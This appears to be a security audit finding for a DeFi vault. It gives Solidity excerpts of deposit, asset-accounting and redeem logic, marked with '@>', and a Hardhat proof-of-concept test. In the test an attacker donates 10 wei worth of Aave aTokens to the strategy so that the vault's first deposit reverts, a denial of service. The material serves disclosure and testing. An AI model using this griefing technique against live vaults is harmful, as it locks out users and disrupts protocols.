function _depositInternal(uint256 assets, address receiver) private returns (uint256 shares) {
    if (receiver == address(0)) revert InvalidReceiver();
    // Fetch price options from settings
    // Get the total assets and total supply
@>  Rebase memory total = Rebase(totalAssets(), totalSupply());

    // Check if the Rebase is uninitialized or both base and elastic are positive
@>  if (!((total.elastic == 0 && total.base == 0) || (total.base > 0 && total.elastic > 0))) {
        revert InvalidAssetsState();
    }
    ...
}
// Vault._totalAssets
function _totalAssets() internal view virtual override returns (uint256 amount) {
    amount = _strategy.totalAssets(); // Calls the totalAssets function of the strategy
}

// MultiStrategyVault._totalAssets
function _totalAssets() internal view virtual override(VaultBase, MultiStrategy) returns (uint256 assets) {
    assets = MultiStrategy._totalAssets(); // Calls the totalAssets function from MultiStrategy to get the total assets
}
// MultiStrategy._totalAssets
function _totalAssets() internal view virtual returns (uint256 assets) {
    for (uint256 i = 0; i < _strategies.length; ) {
@>      assets += IStrategy(_strategies[i]).totalAssets();
        unchecked {
            i++;
        }
    }
    return assets;
}
function totalAssets() external view returns (uint256 totalOwnedAssetsInDebt) {
    IOracle.PriceOptions memory priceOptions = IOracle.PriceOptions({maxAge: 0, maxConf: 0});
@>  (uint256 totalCollateral, uint256 totalDebt) = getBalances();
    uint256 totalCollateralInDebt = _toDebt(priceOptions, totalCollateral, false);
@>  totalOwnedAssetsInDebt = totalCollateralInDebt > totalDebt ? (totalCollateralInDebt - totalDebt) : 0;
}

function getBalances() public view virtual override returns (uint256 collateralBalance, uint256 debtBalance) {
    DataTypes.ReserveData memory debtReserve = (aaveV3().getReserveData(_debtToken));
@>  DataTypes.ReserveData memory collateralReserve = (aaveV3().getReserveData(_collateralToken));
    debtBalance = ERC20(debtReserve.variableDebtTokenAddress).balanceOf(address(this));
    uint8 debtDecimals = ERC20(debtReserve.variableDebtTokenAddress).decimals();
@>  uint8 collateralDecimals = ERC20(collateralReserve.aTokenAddress).decimals();
@>  collateralBalance = ERC20(collateralReserve.aTokenAddress).balanceOf(address(this));
    debtBalance = debtBalance.toDecimals(debtDecimals, SYSTEM_DECIMALS);
@>  collateralBalance = collateralBalance.toDecimals(collateralDecimals, SYSTEM_DECIMALS);
}
function _redeemInternal(
    uint256 shares,
    address receiver,
    address holder,
    bool shouldRedeemETH
) private returns (uint256 retAmount) {
    ...

    // Calculate the amount to withdraw based on shares
@>  uint256 withdrawAmount = (shares * totalAssets()) / totalSupply();
    if (withdrawAmount == 0) revert NoAssetsToWithdraw();
it('PoC - DoS before first deposit', async function () {
  const { owner, vault, strategy, aave3Pool, cbETH, otherAccount } = await loadFixture(deployFunction);

    // attacker deposit cbETH to the aave3Pool and get aToken
    const amount = '10'; // 10 wei
    await cbETH.transfer(await otherAccount.getAddress(), amount);
    await cbETH.connect(otherAccount).approve(await aave3Pool.getAddress(), amount);
    const tx = await aave3Pool.connect(otherAccount).supply(await cbETH.getAddress(), amount, await otherAccount.getAddress(), 0);

    await expect(tx)
      // @ts-ignore
      .to.emit(aave3Pool, 'Supply')
      .withArgs(
        await cbETH.getAddress(),
        await otherAccount.getAddress(),
        await otherAccount.getAddress(),
        10,
        0,
      );
    
    // send the aToken to the strategy
    const res = await aave3Pool.getReserveData(await cbETH.getAddress());
    const aTokenAddress = res[8];
    const aToken = await ethers.getContractAt('IERC20', aTokenAddress);
    await aToken.connect(otherAccount).transfer(await strategy.getAddress(), 10);

    expect(await vault.totalAssets()).to.be.greaterThan(0);
    
    // first deposit failed, because the strategy has a balance
    await expect(
      vault.depositNative(owner.address, {
        value: ethers.parseUnits('10', 18),
      }),
    ).to.be.revertedWithCustomError(vault, 'InvalidAssetsState');
});
